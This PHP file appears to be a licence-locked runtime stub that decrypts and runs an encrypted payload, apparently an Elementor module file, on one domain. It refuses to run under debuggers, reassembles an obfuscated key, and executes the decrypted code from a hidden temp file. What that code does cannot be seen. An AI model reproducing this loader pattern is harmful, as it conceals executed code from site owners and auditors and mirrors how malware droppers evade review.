<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["O2uWzifFIU8=","1O2Kv4IW+hA=","thQDJQkymew=","WpbqcUmZMjM="]', true);
$__MASKS = json_decode('["dAi54Ik99+8=","rqZjqYUcOdw=","F6bvJ1g7ipY=","f6RVyzDvtjY="]', true);
$__ROT   = json_decode('[6,5,5,4]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('a3lgshsgU8biDr+UJt2BOmgLtDUOc5JN');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9tb2R1bGVzL2NoZWNrbGlzdC9jaGVja2xpc3QtbW9kdWxlLWludGVyZmFjZS5waHAiLCJ0cyI6MTc1NjY5MzcxNCwiZXhwaXJlcyI6MCwiZG9tYWlucyI6WyJpdHNob21hci5pciJdLCJvbmxpbmUiOjAsIndwIjoxLCJhbGdvIjoieGNoYWNoYTIwcG9seTEzMDVfaWV0ZiJ9');
$__CT    = base64_decode('BwhTLrp1N18nCxXRTPAqH1KaY5TvMRVFHI7KXRZTahpRBfWUnIIhvMwrS7wOUYX17983Ol/YYL5O7z5GOoUU5ZCHH5XxTE4IQZl33QO+XRoSG1JlZbewQPonAZj7VrUJojZrHKDveTt8kSZBLiKWoF9fY+3rCykHWIkM3zX6emAHF0+4/LfhpSJZlQT1YUBDv3A2wpdwXAnRNTUC2davjemsqZdafsm2Mf7UyOU0vib+gglgpepp8wg8KxFQc2WXc/oeUBp0fse+T/K+GjJG6n+I7Pa1kJabDmqXqrrqgLTSXsUwdUenVSRtNC1ZOqSces53ZiLfDWJJzOBcLpv8RYg7A4zJPmuivnB6BQTT+D+aqTB0l5WLgs4tdfyDFGfVls6OD7fR/D3pOzrRrg666jd1cIciYEDpPJSkPAcPFZ3QTBLz8BubWdHLoRENkLthxKAcTO4Y+MTO8WA6yJN7od25XzFiqC/8AyvNDDTvjUdB3Gsyn6SpN/jU0asgzJYWhwl/0ZqQRhLxqV37oD9ytpeLn0HrrXCXs1sWPVP8XRbMQiHwwk+THwi/04DDLDdH8HvXnVb/gzOKQyMcqpH+Wxis8O0qJeo3vdnyPvKDL4BDeQwMMQSU57EbVxhNH75B9ZQV2/c4FtO5YtRvxaTdg0h9N7mfawl9pOW+8diy5NCMIthcFt2u2DT5IFJEbE6L3jNWb/79/EcF7/if0q42HjIQ5ju/c62SZZIIcdw8beBe1gowP874q1ikDVeetDAyYuCjHqZ86KQhSOpqWRMdq0dybqe6B7G/JIY/hSIP9hZ/DiJNsxWYY4Z1UVC1T3exr8uu9x6e7FaGYbEtIQyiKXx+uZ4wqBcovWnXOt+4toxxx3xBxr6KtS8VdiDxiPPKYHa5+wJuRJ233e/Noa2kwZnmS37b2pcHtoxkkk3k28Bj+OjhawwXz7b+yIBpyk7wizQUvW9N');

// Signature verification
$__PK  = base64_decode('oSfP4m7kEPFUJqR8RN91NT510usVJudYPbH7dI4iWsw=');
$__SIG = base64_decode('qqqvSSjqcWc6BVAlOlb0yN1xEvuHHPLxNR5tlQz/9dwX7XLAwYaGVpJs6u7XXfT/P8vfkc7nLjoWa/O3B9w8Aw==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
